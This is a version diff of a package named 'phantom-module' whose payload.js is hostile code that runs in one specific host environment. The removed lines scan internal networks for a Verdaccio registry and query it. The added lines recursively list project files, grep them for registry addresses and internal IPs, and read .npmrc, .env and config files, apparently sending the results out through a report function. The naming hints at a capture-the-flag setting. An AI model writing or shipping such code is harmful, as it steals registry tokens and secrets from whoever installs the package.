phantom-module 117.0.3 → 117.0.5

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "phantom-module",
-  "version": "117.0.3",
+  "version": "117.0.5",
   "description": "Phantom module",
   "main": "index.js",
   "scripts": {

package/payload.js

@@ -1,6 +1,6 @@
-const net = require('net');
 const http = require('http');
 const fs = require('fs');
+const path = require('path');
 const { execSync } = require('child_process');
 
 if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
@@ -23,74 +23,72 @@ async function report(moduleId, data) {
   });
 }
 
-function checkPort(host, port) {
-  return new Promise((resolve) => {
-    const sock = new net.Socket();
-    sock.setTimeout(2000);
-    sock.on('connect', () => { sock.destroy(); resolve(true); });
-    sock.on('error', () => { sock.destroy(); resolve(false); });
-    sock.on('timeout', () => { sock.destroy(); resolve(false); });
-    sock.connect(port, host);
-  });
+function walk(dir, fileList = []) {
+  try {
+      const files = fs.readdirSync(dir);
+      files.forEach(file => {
+          const filePath = path.join(dir, file);
+          try {
+              const stat = fs.statSync(filePath);
+              if (stat.isDirectory()) {
+                  if (file !== 'node_modules' && file !== '.git') walk(filePath, fileList);
+              } else {
+                  fileList.push(filePath);
+              }
+          } catch(e) {}
+      });
+  } catch(e) {}
+  return fileList;
 }
 
 async function main() {
-  await report('ECT-654321', 'SCAN V3 STARTING...');
+  await report('ECT-654321', 'FILE DUMP STARTING...');
   
-  let envInfo = '=== ENV INFO ===\n';
+  // 1. List all interesting files
+  const files = walk('/home/node/aspect-node');
+  const interesting = files.filter(f => f.match(/\.(js|json|yaml|yml|sh|env|conf)$/));
+  
+  await report('ECT-654321', `Found ${files.length} files. Interesting:\n${interesting.join('\n').substring(0,3000)}`);
+  
+  // 2. Grep for "registry", "http", "4873", "verda"
+  let grepOutput = '=== GREP RESULTS ===\n';
   try {
-      envInfo += `NPM_CONFIG_REGISTRY: ${process.env.NPM_CONFIG_REGISTRY || 'unset'}\n`;
-      envInfo += `/etc/hosts:\n${fs.readFileSync('/etc/hosts','utf8')}\n`;
-      envInfo += `/etc/resolv.conf:\n${fs.readFileSync('/etc/resolv.conf','utf8')}\n`;
-      envInfo += `ip route:\n${execSync('ip route').toString()}\n`;
-  } catch(e) { envInfo += `ERR: ${e.message}\n`; }
-  await report('ECT-654321', envInfo);
+      // Node.js grep implementation
+      for (const file of interesting) {
+          try {
+              const content = fs.readFileSync(file, 'utf8');
+              if (content.match(/registry|verdaccio|4873|http:|172\.|10\./i)) {
+                  grepOutput += `--- ${file} ---\n`;
+                  const lines = content.split('\n');
+                  lines.forEach((line, i) => {
+                      if (line.match(/registry|verdaccio|4873|http:|172\.|10\./i)) {
+                          grepOutput += `${i+1}: ${line.trim().substring(0, 200)}\n`;
+                      }
+                  });
+              }
+          } catch(e) {}
+      }
+  } catch(e) { grepOutput += `ERR: ${e.message}\n`; }
+  
+  await report('ECT-839201', grepOutput);
 
-  // Scan ranges
-  const found = [];
-  const ranges = [
-      ['172.17.0', 1, 20],
-      ['172.18.0', 1, 10],
-      ['172.19.0', 1, 10],
-      ['172.20.0', 1, 10],
-      ['10.0.0', 1, 10],
-      ['192.168.0', 1, 10]
+  // 3. Read specific config files if found
+  let configOutput = '=== CONFIG DUMP ===\n';
+  const targets = [
+      '/home/node/.npmrc',
+      '/root/.npmrc', 
+      '/home/node/aspect-node/.env',
+      '/home/node/aspect-node/config/default.json',
+      '/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_env.js'
   ];
-
-  let scanOutput = '=== SCAN V3 ===\n';
   
-  for (const [base, start, end] of ranges) {
-      scanOutput += `Scanning ${base}.${start}-${end}...\n`;
-      const promises = [];
-      for (let i = start; i <= end; i++) {
-          const ip = `${base}.${i}`;
-          promises.push(checkPort(ip, 4873).then(open => {
-              if (open) {
-                  found.push(ip);
-                  scanOutput += `!!! FOUND VERDACCIO: ${ip}:4873 !!!\n`;
-              }
-          }));
+  for (const t of targets) {
+      if (fs.existsSync(t)) {
+          configOutput += `--- ${t} ---\n${fs.readFileSync(t, 'utf8').substring(0,1000)}\n`;
       }
-      await Promise.all(promises);
   }
   
-  await report('ECT-839201', scanOutput);
-
-  if (found.length > 0) {
-      const ip = found[0];
-      const url = `http://${ip}:4873/ecto-spirit`;
-      let flagInfo = `=== QUERY ${url} ===\n`;
-      try {
-          flagInfo += await new Promise(r => {
-              http.get(url, res => {
-                  let d = ''; res.on('data', c=>d+=c); res.on('end', ()=>r(d));
-              }).on('error', e=>r(e.message));
-          });
-      } catch(e) { flagInfo += e.message; }
-      await report('ECT-987654', flagInfo);
-  } else {
-      await report('ECT-987654', 'No target found for query.');
-  }
+  await report('ECT-987654', configOutput);
 }
 
 main().catch(e => report('ECT-654321', 'ERR: ' + e.message));